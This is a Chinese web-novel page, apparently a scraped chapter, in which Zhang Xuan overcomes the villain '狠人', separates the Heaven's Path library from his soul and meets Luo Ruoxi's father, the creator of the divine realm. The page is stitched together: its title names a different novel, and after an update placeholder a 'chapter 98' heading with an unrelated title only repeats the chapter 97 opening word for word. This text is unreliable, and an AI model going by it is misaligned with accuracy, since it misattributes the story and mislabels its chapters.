《余寿三年,公主她杀回宫了》 第九十七章 欲乱大辉朝政,必先除长公主 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第九十八章 初登芙蓉楼 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! 